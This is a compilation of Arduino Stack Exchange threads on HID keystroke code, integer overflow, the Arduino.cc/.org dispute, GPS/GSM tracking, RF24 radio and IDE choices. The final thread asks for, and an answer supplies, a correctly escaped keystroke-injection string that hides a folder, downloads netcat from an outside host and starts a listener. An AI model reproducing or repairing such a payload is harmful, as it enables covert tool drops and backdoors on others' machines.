  int mean_dic[] = {4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29};

  char normal_sym[] =     {  '1', '2',  '3',  '4', ' 5',  '6',  '7',  '8',  '9',  '0',  '-',  '=',  '[',  ']',  '\\', ';'  '\'',  ',',  '.',  '/',  ' '};
  int mean_normal_sym[] = {0x1E, 0x1F, 0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x2D, 0x2E, 0x2F, 0x30, 0x31, 0x33, 0x34, 0x36, 0x37, 0x38, 0x2C};

  char shift_sym[] = {'!', '@', '#', '$', '%', '^', '&', '*', '(', ')', '_', '+', '{', '}', '|', ':', '\"', '<', '>', '?'};
  int mean_shift_sym[] = {0x1E, 0x1F, 0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x2D, 0x2E, 0x2F, 0x30, 0x31, 0x33, 0x34, 0x36, 0x37, 0x38};
*/
  char temp_char;

  for(int i = 0;i<text.length();i++)  //Recorre lo que vos le mandaste
  {
    temp_char = text.charAt(i); //Agarra el primer caracter que se le envia por parametro
    if(((int)temp_char >= 97 && (int)temp_char <= 122) || ((int)temp_char >= 65 && (int)temp_char <= 90)) //Si el caratecer es una letra mayuscula o minuscula ---
    {
      for(int j = 0;j<sizeof(mean_dic) - 1;j++) //Recorre esta lista
      {
        if(temp_char == alpha[j]) //Si el caracter es igual al de la lista entonces...
        {
          keyPress(0, mean_dic[j]); //Presionalo
          keyRelease();
          break;
        }
        else if(temp_char == toupper(alpha[j])) //Si el caracter es igual al de la lista (En MaYuscula)
        {
          keyPress(RIGHT_SHIFT, mean_dic[j]); //Presionalo
          keyRelease();
          break;
        }
      }
    }

    else if(((int)temp_char >= 48 && (int)temp_char <= 57) || ((int)temp_char >= 43 && (int)temp_char <= 46 || (int)temp_char == 32  || (int)temp_char == 39 || (int)temp_char == 173 || (int)temp_char == 164 || (int)temp_char == 91 || (int)temp_char == 93)) //Si el caratecer es una letra mayuscula o minuscula...
    {
      //check = false; //Flag para distinguir nros de caractes especiales
      for(int j = 0;j<sizeof(mean_normal_sym)-1;j++)  //Recorro los nros
      {
        if(temp_char == normal_sym[j]) //Si en una de esas coincide
        {
          keyPress(0, mean_normal_sym[j]);
          keyRelease();
          break;
        }

      }
    }

    else
    {
        for(int i = 0;i<sizeof(mean_shift_sym)-1;i++)//Di lo tuyo Bart...
        {
          if(temp_char == shift_sym[i])
          {
            keyPress(LEFT_SHIFT, mean_shift_sym[i]);
            keyRelease();
            break;
          }
        }
      }
  }
}

void keyPress(int mod, int key)
{
  buf[0] = mod;
  buf[2] = key;
  Serial.write(buf, 8);
}

```

# Answer
> 1 votes
You might want to consider using the function isAlpha() If its on an Arduino. Also `if (tempChar == 'A')` will work and make the code more readable.

I suspect the problem you have is caused by keyPress() and keyRelease(). You are setting 4 bytes of buffer and then writing 8 bytes to the serial interface. What is the value in buffer\[4\]? I think its a lucky coincidence that its duplicating characters rather than crashing.

---
Tags: arduino-uno, serial
---


# Question
Title: Arduino Serial.println() keeps transmitting data even when conditions are imposed
I am using Arduino UNO and a bluetooth module. I have used an `if` condition so that `Serial.println()` happens only once but it keeps on printing. Please help. Below is the code.

```
//Begin CODE
char str;
String fnal;
int i;

void setup()
{
  Serial.begin(9600);
  fnal="";
  i=0;
}

void loop()
{
  i++;
  if(i<2)
  {
    Serial.print('#');
    Serial.print('1');
    delay(10);
  }
}

```

According to this code `#` and `1` should be printed only once but in serial monitor the printing continues infinitely.

# Answer
> 1 votes
It is definitely an overflow issue.

You declared `i` as `int` which ranges from -32768 to 32767. I wrote this code as an experiment:

```
void loop() {
  unsigned long now = millis();
  i++;
  if(i==0){
    Serial.println(now);
  }
}

```

The result is `i` overflows every 264 ms, so `if(i<2)` will be `true` many times per second.

A simple solution is to put `i++;` inside the `if` instead, like this:

```
void loop()
{
  if(i<2)
  {
    i++;
    Serial.print('#');
    Serial.print('1');
    delay(10);
  }
}

```

`i` will stop incrementing when the value is 2. No more overflow.

# Answer
> 1 votes
If you had put a Serial.print inside `loop` you would have seen the problem. Debugging displays are very helpful. Like this:

```
void loop()
{
  i++;
  Serial.println (i);   // <---- debugging
  if(i<2)
  {
    Serial.print('#');
    Serial.print('1');
    delay(10);
  }
}

```

Since you are adding 1 to `i` each time around the loop, how long do you think it will go before `i` overflows? It will go up and up, get to 32767 and then become -32768, and then count back to 0. During that time it will be less than 2, and it will do the printing of "#1".

---
Tags: arduino-uno
---


# Question
Title: Difference between Arduino.cc and Arduino.org
Recently I have noticed that there are two arduino sites, arduino.cc and arduino.org. They both have the Arduino logo and both sell what seems to be official Arduino boards. Also, arduino.org came out with the Arduino Zero board first. What is the deal here? Has Arduino partnered with another site? Any ideas appreciated.

# Answer
> 43 votes
The short of it is that there was a falling out within the Arduino people and now there are two groups laying claim to the "Arduino" name.

Arduino LLC runs arduino.cc. They are the steward of the Arduino IDE and libraries and own the "Arduino" trademark in the United States, and also owns the "Genuino" trademark outside of the United States. Arduino SRL (fka Smart Projects SRL) is the company that assembles(assembled) the majority of Arduino boards for Arduino LLC, runs arduino.org, and owns the "Arduino" trademark inside Italy and all of the other countries they have registered the "Arduino" trademark.

Arduino SRL recently decided that they are no longer beholden to Arduino LLC and has stopped paying licensing fees for using the Arduino name. Whether this is justified or not has not been fully tested in court yet.

# Answer
> 14 votes
This article can explain it better than I could paraphrase: http://hackaday.com/2015/02/25/arduino-v-arduino/

Relevant excerpt:

> Arduino LLC \[***arduino.cc***\] is the company founded by Massimo Banzi, David Cuartielles, David Mellis, Tom Igoe and Gianluca Martino in 2009 and is the owner of the Arduino trademark and gave us the designs, software, and community support that’s gotten the Arduino where it is. The boards were manufactured by a spinoff company, Smart Projects Srl, founded by the same Gianluca Martino. So far, so good.
>
> Things got ugly in November when Martino ... renamed Smart Projects to Arduino Srl and registered ***arduino.org***
>
> According to this Italian Wired article, the cause of the split is that Banzi and the other three wanted to internationalize the brand and license production to other firms freely, while Martino ... \[wanted\] to list on the stock market and keep all production strictly in the Italian factory.

# Answer
> 10 votes
Please take a look at The Untold History of Arduino.

# Answer
> 8 votes
Update on the situation: on October 1st, 2016 a blog post at arduino.cc "Two Arduinos become one" announced that an agreement was found between arduino.cc and arduino.org. Two key points:

* the creation of a foundation
* the creation of a holding.

About the holding:

> At the end of 2016, the newly created “Arduino Holding” will become the single point of contact for the wholesale distribution of all current and future products, and will continue to bring tremendous innovations to the market.

About the foundation:

> In addition, Arduino will form a not-for-profit “Arduino Foundation” responsible for maintaining the open-source Arduino desktop IDE, and continuing to foster the open-source movement by providing support for a variety of scholarships, community and developer initiatives.

# Answer
> 1 votes
arduino.org is not only boards assembler, but is also who designs and engineers the arduino boards. They own the arduino trademark all over the world, except the USA, therefore arduino.cc owns the trademark only in the USA.

---
Tags: hardware
---


# Question
Title: Tracking Device Using Arduino UNO, GSM and GPS
I'm using SIM900A and GY NEO6MV2. I'm supposed to receive device location continuously after sending "Staff" to GSM and will stop receiving the location if I send "Stop" to GSM. This work on Serial monitor but not on my cellphone.

```
    #include <SoftwareSerial.h>
    #include <TinyGPS.h>

    float flat, flon; // create variable for latitude and longitude object
    int temp=0,i;

    SoftwareSerial mySerial(10, 11); // create gps sensor connection
    TinyGPS gps; // create gps object

    void setup(){
       Serial.begin(9600); // connect serial
       mySerial.begin(9600); // connect gps sensor
       delay(2000);
       Serial.println("AT+CNMI=2,2,0,0,0");
       temp=0;
     }

     void loop()
     {
        while(Serial.available())
        {
           if(Serial.find("Staff"))
           {
              get_gps();
           }
           if(Serial.find("Stop"))
           {
               loop();
            }
         }
      }

     void get_gps() // run over and over
      {
        unsigned long start = millis();

        while (millis() - start < 10000) {
        if (mySerial.available()) {
             char c = mySerial.read();
             if (gps.encode(c)) {
                 gpsdump(gps);;
             }
            }
          }
        }

     void gpsdump(TinyGPS &gps)
     {
         init_sms();
         gps.f_get_position(&flat,&flon);
         Serial.print("Location?\nRight here:\n");
         Serial.print("Google Maps: https://google.com/maps/place//@");
         printFloat(flat, 5); Serial.print(",");
         printFloat(flon, 5); Serial.print('\n');
         Serial.print("Location as metioned above\nTQVM");
         Serial.write(0x1A);
         delay(2000);
       }

      void init_sms()
     {
       Serial.println("AT+CMGF=1");
       delay(400);
       Serial.println("AT+CMGS=\"+60134484868\"");
       delay(400);
     }

    void printFloat(double number, int digits)
    {
     // Handle negative numbers
     if (number < 0.0) {
     Serial.print('-');
     number = -number;
    }

      // Round correctly so that print(1.999, 2) prints as "2.00"
      double rounding = 0.5;
      for (uint8_t i=0; i<digits; ++i)
      rounding /= 10.0;

      number += rounding;

    // Extract the integer part of the number and print it
     unsigned long int_part = (unsigned long)number;
     double remainder = number - (double)int_part;
     Serial.print(int_part);

    // Print the decimal point, but only if there are digits beyond
    if (digits > 0)
    Serial.print(".");

     // Extract digits from the remainder one at a time
     while (digits-- > 0) {
     remainder *= 10.0;
     int toPrint = int(remainder);
     Serial.print(toPrint);
     remainder -= toPrint;
    }
   }

```

# Answer
> 2 votes
```
void loop() {
    ....
    loop();
    ....
}

```

That's an instant death warrant right there. You can kiss your stack goodbye as it crashes mercilessly into your heap. Never ever ever call `loop()` from anywhere.

Your decision as to whether or not to get the GPS data is completely flawed. It will run the function once when it finds "Staff" and never again (unless it sees "Staff" again on serial). It doesn't keep finding the same thing over and over again unless you keep sending it over and over again.

And come to that - how exactly are you sending "Staff" and "Stop" through GSM? I assume by SMS message, however I see no code there to actively retrieve the SMS messages from the SIM. So you'll never see anything anyway.

You need to completely re-think your whole program methodology:

1. Look for new SMS messages
2. If any exist then read one and delete it.
3. If the message contained "Staff" then enable sending mode. If the message contained "Stop" then disable sending mode.
4. If sending mode is enabled and enough time has passed since the last sending then get the GPS data and send it.

You notice the sending of the GPS data is separated from the SMS reception. It's not the reception of the SMS that controls the GSM but the "mode" your program is running in. The SMS just controls that mode.

This is a crude form of Finite State Machine.

---
Tags: gps
---


# Question
Title: How to use get_properties to get RSSI in RF24?
As picture below, how to use get\_properties ? I fail to understand AN625, how to use get\_properties to get RSSI ?

> Adding source code based on RH\_RF24 functions.

```
#include <SPI.h>
#include <RH_RF24.h>

// Singleton instance of the radio driver
RH_RF24 rf24;

uint8_t Recieve_Data[20];

uint8_t receive_buffer[RH_RF24_MAX_MESSAGE_LEN];
uint8_t receive_buffer_length = sizeof(receive_buffer);

uint8_t Rssi;

unsigned long Micro_Time;

uint8_t status[8];
uint8_t buf[RH_RF24_MAX_MESSAGE_LEN];
uint8_t len = sizeof(buf);

void setup()
{
  Serial.begin(115200);
  if (!rf24.init())
    Serial.println("init failed");
  // Defaults after init are 434.0MHz, modulation GFSK_Rb5Fd10, power 0x10
   while(!rf24.setFrequency(443));
  rf24.setModemConfig(rf24.GFSK_Rb50Fd100);  //设置成GFSK_Rb50Fd100
}

void loop()
{
  rf24.setModeRx();
  delay(100);
  rf24.setModeIdle();
  rf24.command(RH_RF24_CMD_GET_INT_STATUS, NULL, 0, status, sizeof(status));
  Serial.print("Id   ");
  for (int i = 0; i <= 8; i++)
  {
    Serial.print((uint8_t)status[i]);
    Serial.print("   ");
  }
  Serial.println();
  /*
    if (status[2])
    {
      uint8_t modem_status[6];
      rf24.command(RH_RF24_CMD_GET_MODEM_STATUS, NULL, 0, modem_status, sizeof(modem_status));
      delay(100);
      for (int i = 0; i <= 6; i++)
      {
        Serial.print(modem_status[i]);
        Serial.print("   ");
      }
      Serial.println();
    }
  */
  delay(400);
}

```

# Answer
By using the `RH_RF24 rf24;`(Singleton instance of the radio driver), read a series of properties is really simple.

* The properties shall be in the same GROUP,
* Up to 16 properties could be read in the same request,

> Hereafter is a example to read from `SYNC_CONFIG` to `SYNC_BITS_7_0` (5 properties).

**Step 1** \- Declare your own `uint8_t sync_stat[5];` or use the still declared `uint8_t status[8];`.

```
 uint8_t sync_stat[5];

```

**Step 2** \- The `firstProperty` is in fact the first property to be read and `count` is the number successive properties to be read (from `SYNC_CONFIG = 0x1100` to `SYNC_BITS_7_0 = 0x1104`.

```
// And check the returned code
if (rf24.get_properties(SYNC_CONFIG,sync_stat,5)) {
    // sync_stat[0]= SYNC_CONFIG
    // ...
    // sync_stat[4]= SYNC_BITS_7_0
}

```

> Then, the equivalent `command()` is:

```
uint8_t buf[3];
buf[0] = SYNC_CONFIG >> 8;
buf[1] = 5;
buf[2] = SYNC_CONFIG & 0xff;
if (rf24.command(RH_RF24_CMD_GET_PROPERTY, buf, sizeof(buf),sync_stat,5)) {
    // Same array
}

```
> 1 votes

---
Tags: wireless, rf
---


# Question
Title: Microcontrollers with built in HID support
I am trying to build a wireless gamepad for which i am using NRF24l01 module for my wireless need and for Sending data to computer i need an mcu which support to act as hid device. So far, i got Attiny85 and mcu with atmega324u. But the problem is that attiny85 has very few pins and i cannot use it as for both hid and nrf module simutaneously due to pins defficiency. And atmega324u mcu are not avialable in my country. Can anybody suggest me some mcu with built in hid support.

# Answer
The ATTiny85 doesn't support USB. You can bitbang USB using the V-USB library. Kind of a hack, but it does work. An ATMega328 (used on the UNO) can do the same thing. So the ATMega328 would be an option too (if the ATTiny85 is).

The ATMega32u4 does support USB natively, so this might be better. The ATMega32u4 is the MCU used on the Arduino Leonardo and the Arduino MICRO. Those might be available where you live.

You can also use a regular Arduino UNO. As on the UNO there is also a ATMega16u2 that does the usb-to-serial. You can reprogram this ATMega16u2 to also act as a keyboard. Like in this project
> 2 votes

---
Tags: usb, attiny, nrf24l01+, atmega32u4
---


title: Arduino write/handle long programs

text:
# Question
Title: Arduino write/handle long programs
I'm writing a "sketch" in the Arduino IDE which has at this very moment 1500 lines and is going to become much longer. I splitted it in several tabs, but that's not very comfortable to use (I need to find the "precompiler" file in a temporary folder in order to have my program in a printable version, in the tabs bar I can't see all tabs, ...).

Are there any better alernatives to the Arduino IDE? Someone suggested me PlatformIO, is that a good IDE? (please note that I have a mac running OS X 10.12.1; I also have a (virtual) Windows 10 machine if absolutly needed, but I'd like to install the IDE on MAC OS X)

What are the best ways to create a long program? In general, for C++, what are the best practices? And is for Arduino the same?

# Answer
Give a try to Platformio. It's based on the Atom editor. It's great and multi platform (mac, windoze, linux)

As for splitting your program, it is a good idea but not any ways. Keep concepts in the same file, avoid using globals are just a few hints.
> 0 votes

# Answer
Have you tried Atmel Studio? Right now, it only supports Windows but is a great alternative to Arduino IDE.

If you're not comfortable using Windows virtual machine, I suggest you have a look at this: http://playground.arduino.cc/code/eclipse
> 2 votes

# Answer
@Maximus suggested Atmel Studio. WHile this choice is not bad, the programming language, well at least if you are used to the "Arduino type" C, is different then Arduino. An easy way to get all of the things you are used with Arduino to an other IDE is Visual Micro.

This IDE is deffenetly an upgrade. It has code completition and is just more adapted for programming (thats in my opinion). A good thing that I like about it is that it will still pass by the Arduino IDE's compiler.

BTW, you'll need to have Visual Studio.
> 0 votes

# Answer
I can't help but recommend UECIDE, but then I wrote it. It's better than the Arduino IDE at working with large projects with multiple files, yet not as complex as things like Atmel Studio.

I would, however, recommend a re-think about how you arrange your project. A single long file (even if made from multiple files joined together) isn't good. Instead you should split your project into a number of modules. Consider writing libraries for some of the functionality of your program.

No one in the real world wants a massive program as one single file. All big projects are made out of multiple files, and those files are all separate units and compiled separately. The fact that the Arduino IDE joins them all together into one gargantufile is IMHO a bad idea. Keep things separate. Keep things modular. Keep things as they are in the real world of development.
> 0 votes

---
Tags: programming, ide
---


title: Program an Arduino with another Arduino

text:
# Question
Title: Program an Arduino with another Arduino
Is there any way I can program an Arduino using another Arduino,without the need of any computer. I want to store the programming code in the EEPROM of the "Programmer Arduino" and using any interface like SPI, I2C or Serial, **burn** this code to the Second arduino. Is it possible? How can it be implemented ?

# Answer
It is certainly possible to do this.

> I want to store the programming code in the EEPROM of the "Programmer Arduino" and using any interface like SPI, I2C or Serial, burn this code to the Second arduino.

I should point out that the EEPROM may not be large enough for this. For example, the Uno has only 1KB of EEPROM.

A more workable solution would be to store a reasonable size program in PROGMEM, or a larger one in external memory, like an SD card.

I have a page about a stand-alone programmer \- the first idea presented just uses the Serial monitor to command the programmer behaviour:

Using the Serial Monitor you select the file you want programmed. Another approach, commissioned by someone who wanted to eliminate the external computer altogether looks like this:

In this case you put one or more hex files onto the SD card, choose one using the "file select" knob, and then press the "program" button to program it. This only takes a couple of seconds.

There are also commercial products that do a similar thing.
> 3 votes

# Answer
Yes. Connect 2 arduinos via serial connection (https://www.arduino.cc/en/Reference/Serial), restart one of them via RESET channel and upload sketch(https://www.arduino.cc/en/Guide/ArduinoProMini#toc1). You will need binary files - google 'arduino get sketch binary'(cannot add any more links).
> 3 votes

---
Tags: programmer
---


# Question
Title: Printing multiple double qoutes in print statement
I'm trying to print multiple quotes in a `Keyboard.print()` function but when i try to escape the character with \ at `$output =\"$HOME\Misc\nc.zip\""` and the string does not get recognized by the ide. Usually when the ide knows it's a string it highlights the text in blue, it does not do that for $output and after $output. How can I print the whole string including all the double quotes within the string?

```
Keyboard.print("\"cd $HOME\""; $folder=mkdir \"Misc\""; $folder; $url=\"https://test.org/cc.zip\""; $output =\"$HOME\Misc\nc.zip\""; (New-Object System.Net.WebClient).DownloadFile($url,$output); $shell=NewObject -ComObject shell.application; $zip=$shell.NameSpace(\"$HOME\Misc\nc.zip\") foreach ($item in $zip.items()) { $shell.NameSpace(\"$HOME\Misc\").CopyHere($item)}"):

```

# Answer
It seems you used `\""` instead of **only** `\"` in several locations of this string. Also, since the string you want to send already includes the escape `\` character, it must iself be escaped `\\`.

If the command you want to send to keyboard is:

> cd "$HOME"; $folder=mkdir "Misc"; $folder; $folder.Attributes= "Hidden"; $url="https://eternallybored.org/misc/netcat/netcat-win32-1.11.zip"; $output = "$HOME\Misc\nc.zip"; (New-Object System.Net.WebClient).DownloadFile($url,$output); $shell=NewObject -ComObject shell.application; $zip=$shell.NameSpace("$HOME\Misc\nc.zip") foreach ($item in $zip.items()) { $shell.NameSpace("$HOME\Misc").CopyHere($item)} ".\netcat-1.11\nc.exe" -lp 4545 \> incoming.txt

Then you should escape it as follows:

```
"cd \"$HOME\"; $folder=mkdir \"Misc\"; $folder; $folder.Attributes= \"Hidden\"; $url=\"https://eternallybored.org/misc/netcat/netcat-win32-1.11.zip\"; $output = \"$HOME\\Misc\\nc.zip\"; (New-Object System.Net.WebClient).DownloadFile($url,$output); $shell=NewObject -ComObject shell.application; $zip=$shell.NameSpace(\"$HOME\\Misc\\nc.zip\") foreach ($item in $zip.items()) { $shell.NameSpace(\"$HOME\\Misc\").CopyHere($item)} \".\\netcat-1.11\\nc.exe\" -lp 4545 > incoming.txt"

```
> 1 votes

---
Tags: c, keyboard
---